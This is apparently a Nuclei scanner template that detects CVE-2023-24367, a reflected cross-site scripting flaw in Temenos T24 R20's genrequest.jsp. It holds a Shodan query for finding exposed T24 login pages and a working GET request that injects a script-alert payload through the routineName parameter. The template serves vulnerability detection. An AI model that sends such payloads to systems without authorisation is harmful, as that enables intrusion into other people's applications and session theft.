id: CVE-2023-24367

info:
  name: Temenos T24 R20 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Temenos T24 release 20 contains a reflected cross-site scripting vulnerability via the routineName parameter at genrequest.jsp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability. Additionally, implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://github.com/mrojz/T24/blob/main/CVE-2023-24367.md
    - https://github.com/mrojz/T24/blob/main/T24_XSS.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24367
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/mrojz/T24
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24367
    cwe-id: CWE-79
    cpe: cpe:2.3:a:temenos:t24:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"T24 Sign in"
    product: t24
    vendor: temenos
  tags: cve,cve2023,xss,temenos

http:
  - method: GET
    path:
      - '{{BaseURL}}/jsps/genrequest.jsp?routineName="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<title>Processing...</title>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210093f8a3333ca823520d06e0882cb552e501dbb143b93af93f86ba74c4ddaa12c702210080ec21d366a4abf85acf58ebc248f835bdfe490b814987b3e47e7546db9c2a3f:922c64590222798bb761d5b6d8e72950